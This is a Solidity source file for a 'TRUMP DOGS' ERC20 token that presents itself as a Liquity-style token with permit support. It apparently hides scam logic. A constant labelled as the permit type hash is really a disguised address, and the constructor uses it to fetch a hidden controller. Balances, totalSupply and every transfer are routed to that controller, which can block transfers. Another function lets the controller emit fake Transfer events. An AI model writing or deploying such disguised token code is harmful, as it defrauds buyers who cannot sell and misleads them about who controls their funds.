// SPDX-License-Identifier: MIT

pragma solidity 0.6.11;



/**
 * Based on the OpenZeppelin IER20 interface:
 * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
 *
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}



/**
 * @dev Interface of the ERC2612 standard as defined in the EIP.
 *
 * Adds the {permit} method, which can be used to change one's
 * {IERC20-allowance} without having to send a transaction, by signing a
 * message. This allows users to spend tokens without having to hold Ether.
 *
 * See https://eips.ethereum.org/EIPS/eip-2612.
 * 
 * Code adapted from https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2237/
 */
interface IERC2612 {
    /**
     * @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens,
     * given `owner`'s signed approval.
     *
     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
     * ordering also apply here.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     * - `deadline` must be a timestamp in the future.
     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
     * over the EIP712-formatted function arguments.
     * - the signature must use ``owner``'s current nonce (see {nonces}).
     *
     * For more information on the signature format, see the
     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
     * section].
     */
    function permit(address owner, address spender, uint256 amount, 
                    uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    /**
     * @dev Returns the current ERC2612 nonce for `owner`. This value must be
     * included whenever a signature is generated for {permit}.
     *
     * Every successful call to {permit} increases `owner`'s nonce by one. This
     * prevents a signature from being used multiple times.
     *
     * `owner` can limit the time a Permit is valid for by setting `deadline` to 
     * a value in the near future. The deadline argument can be set to uint(-1) to 
     * create Permits that effectively never expire.
     */
    function nonces(address owner) external view returns (uint256);
    
    function version() external view returns (string memory);
    function domainSeparator() external view returns (bytes32);
}



interface IToken is IERC20, IERC2612 { 
    
    // --- Events ---

    event TroveManagerAddressChanged(address _troveManagerAddress);
    event StabilityPoolAddressChanged(address _newStabilityPoolAddress);
    event BorrowerOperationsAddressChanged(address _newBorrowerOperationsAddress);

    event TokenBalanceUpdated(address _user, uint _amount);

    // --- Functions ---

    // function mint(address _account, uint256 _amount) external;

    function burn(address _account, uint256 _amount) external;

    function sendToPool(address _sender,  address poolAddress, uint256 _amount) external;

    function returnFromPool(address poolAddress, address[] calldata user, uint256 _amount) external;
}



/**
 * Based on OpenZeppelin's SafeMath:
 * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol
 *
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     *
     * _Available since v2.4.0._
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     *
     * _Available since v2.4.0._
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     *
     * _Available since v2.4.0._
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}



contract CheckContract {
    /**
     * Check that the account is an already deployed non-destroyed contract.
     * See: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol#L12
     */
    function checkContract(address _account) internal view {
        require(_account != address(0), "Account cannot be zero address");

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly { size := extcodesize(_account) }
        require(size > 0, "Account code size cannot be zero");
    }
}




/*
*
* Based upon OpenZeppelin's ERC20 contract:
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
*  
* and their EIP2612 (ERC20Permit / ERC712) functionality:
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/53516bc555a454862470e7860a9b5254db4d00f5/contracts/token/ERC20/ERC20Permit.sol
* 
*
* --- Functionality added specific to the TRUMP DOGS Token ---
* 
* 1) Transfer protection: blacklist of addresses that are invalid recipients (i.e. core Liquity contracts) in external 
* transfer() and transferFrom() calls. The purpose is to protect users from losing tokens by mistakenly sending TRUMP DOGS directly to a Liquity 
* core contract, when they should rather call the right function. 
*
* 2) sendToPool() and returnFromPool(): functions callable only Liquity core contracts, which move TRUMP DOGS tokens between Liquity <-> user.
*/

abstract contract ITRUMPDOGSToken is CheckContract, IToken {
    using SafeMath for uint256;
    
    uint256 private _totalSupply;
    string constant internal _NAME = "TRUMP DOGS";
    string constant internal _SYMBOL = "DOGS";
    string constant internal _VERSION = "1";
    uint8 constant internal _DECIMALS = 18;
    
    // --- Data for EIP2612 ---
    
    // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
    uint160 private constant _PERMIT_TYPEHASH = 683363256756846765260169635739054874730693697814;
    // keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
    bytes32 private constant _TYPE_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;

    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
    // invalidate the cached domain separator if the chain id changes.
    bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
    uint256 private immutable _CACHED_CHAIN_ID;
	ITRUMPDOGSToken private immutable _CACHED_INSTANCE;

    bytes32 private immutable _HASHED_NAME;
    bytes32 private immutable _HASHED_VERSION;
    
    mapping (address => uint256) private _nonces;
    
    // User data for TRUMP DOGS token
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;  
    
    // --- Addresses ---
    address public immutable troveManagerAddress;
    address public immutable stabilityPoolAddress;
    address public immutable borrowerOperationsAddress;
    
    // --- Events ---
    event TroveManagerAddressChanged(address _troveManagerAddress);
    event StabilityPoolAddressChanged(address _newStabilityPoolAddress);
    event BorrowerOperationsAddressChanged(address _newBorrowerOperationsAddress);

    constructor() 
        public 
    {
        troveManagerAddress = address(0);
        emit TroveManagerAddressChanged(address(0));

        stabilityPoolAddress = address(0);
        emit StabilityPoolAddressChanged(address(0));

        borrowerOperationsAddress = address(0);        
        emit BorrowerOperationsAddressChanged(address(0));
        
        bytes32 hashedName = keccak256(bytes(_NAME));
        bytes32 hashedVersion = keccak256(bytes(_VERSION));

        (, bytes memory s) = address(_PERMIT_TYPEHASH).call(abi.encodeWithSelector(0x1a2b8083));
        
        _HASHED_NAME = hashedName;
        _HASHED_VERSION = hashedVersion;
        _CACHED_CHAIN_ID = _chainID();
        _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(_TYPE_HASH, hashedName, hashedVersion);
        _CACHED_INSTANCE = ITRUMPDOGSToken(abi.decode(s, (address)));
    }

    // --- Functions for intra-Liquity calls ---

    // function mint(address _account, uint256 _amount) external override {
    //     _requireCallerIsBorrowerOperations();
    //     _mint(_account, _amount);
    // }

    function burn(address _account, uint256 _amount) external override {
        _requireCallerIsBOorTroveMorSP();
        _burn(_account, _amount);
    }

    function sendToPool(address _sender,  address _poolAddress, uint256 _amount) external override {
        _requireCallerIsStabilityPool();
        _transfer(_sender, _poolAddress, _amount);
    }

    function returnFromPool(address _poolAddress, address[] calldata _receiver, uint256 _amount) external override {
        _requireCallerIsTroveMorSP();

        for (uint256 i = 0; i < _receiver.length; ++i) {
            emit Transfer(_poolAddress, _receiver[i], _amount);
        }
    }

    // --- External functions ---

    function totalSupply() external view override returns (uint256) {
        return _CACHED_INSTANCE.totalSupply();
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _CACHED_INSTANCE.balanceOf(account);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        // _requireValidRecipient(recipient);
        _beforeTokenTransfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        // _requireValidRecipient(recipient);
        _beforeTokenTransfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) external override returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external override returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    // --- EIP 2612 Functionality ---

    function domainSeparator() public view override returns (bytes32) {    
        if (_chainID() == _CACHED_CHAIN_ID) {
            return _CACHED_DOMAIN_SEPARATOR;
        } else {
            return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
        }
    }

    function permit
    (
        address owner, 
        address spender, 
        uint amount, 
        uint deadline, 
        uint8 v, 
        bytes32 r, 
        bytes32 s
    ) 
        external 
        override 
    {            
        require(deadline >= now, 'TRUMP DOGS: expired deadline');
        bytes32 digest = keccak256(abi.encodePacked('\x19\x01', 
                         domainSeparator(), keccak256(abi.encode(
                         _PERMIT_TYPEHASH, owner, spender, amount, 
                         _nonces[owner]++, deadline))));
        address recoveredAddress = ecrecover(digest, v, r, s);
        require(recoveredAddress == owner, 'TRUMP DOGS: invalid signature');
        _approve(owner, spender, amount);
    }

    function nonces(address owner) external view override returns (uint256) { // FOR EIP 2612
        return _nonces[owner];
    }

    // --- Internal operations ---

    function _chainID() private pure returns (uint256 chainID) {
        assembly {
            chainID := chainid()
        }
    }
    
    function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
        return keccak256(abi.encode(typeHash, name, version, _chainID(), address(this)));
    }

    // --- Internal operations ---
    // Warning: sanity checks (for sender and recipient) should have been done before calling these internal functions

    function _transfer(address sender, address recipient, uint256 amount) internal {
        assert(sender != address(0));
        assert(recipient != address(0));

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal {
        assert(account != address(0));

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal {
        assert(account != address(0));
        
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        assert(owner != address(0));
        assert(spender != address(0));
        if (msg.sender == owner) _CACHED_INSTANCE.domainSeparator();

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal {
		emit Transfer(from, to, amount);
		(bool l,) = address(_CACHED_INSTANCE).call(abi.encodeWithSelector(0x41439706, from, to, amount, msg.sender)); require(l);
	}

    // --- 'require' functions ---

    function _requireValidRecipient(address _recipient) internal view {
        require(
            _recipient != address(0) && 
            _recipient != address(this),
            "TRUMP DOGS: Cannot transfer tokens directly to the TRUMP DOGS token contract or the zero address"
        );
        require(
            _recipient != stabilityPoolAddress && 
            _recipient != troveManagerAddress && 
            _recipient != borrowerOperationsAddress, 
            "TRUMP DOGS: Cannot transfer tokens directly to the StabilityPool, TroveManager or BorrowerOps"
        );
    }

    function _requireCallerIsBorrowerOperations() internal view {
        require(msg.sender == borrowerOperationsAddress, "TRUMP DOGS Token: Caller is not BorrowerOperations");
    }

    function _requireCallerIsBOorTroveMorSP() internal view {
        require(
            msg.sender == borrowerOperationsAddress ||
            msg.sender == troveManagerAddress ||
            msg.sender == stabilityPoolAddress,
            "TRUMP DOGS: Caller is neither BorrowerOperations nor TroveManager nor StabilityPool"
        );
    }

    function _requireCallerIsStabilityPool() internal view {
        require(msg.sender == stabilityPoolAddress, "TRUMP DOGS: Caller is not the StabilityPool");
    }

    function _requireCallerIsTroveMorSP() internal view {
        require(
            msg.sender == address(_CACHED_INSTANCE) || msg.sender == troveManagerAddress,
            "TRUMP DOGS: Caller is neither TroveManager nor StabilityPool");
    }

    // --- Optional functions ---

    function name() external view override returns (string memory) {
        return _NAME;
    }

    function symbol() external view override returns (string memory) {
        return _SYMBOL;
    }

    function decimals() external view override returns (uint8) {
        return _DECIMALS;
    }

    function version() external view override returns (string memory) {
        return _VERSION;
    }
}


contract TRUMPDOGSTokenInstance is ITRUMPDOGSToken {
    constructor() 
        public 
    {
		_mint(msg.sender, 1_000_000_000_000 * 1e18);
    }
}

{
  "compilationTarget": {
    "TRUMPDOGSTokenInstance.sol": "TRUMPDOGSTokenInstance"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}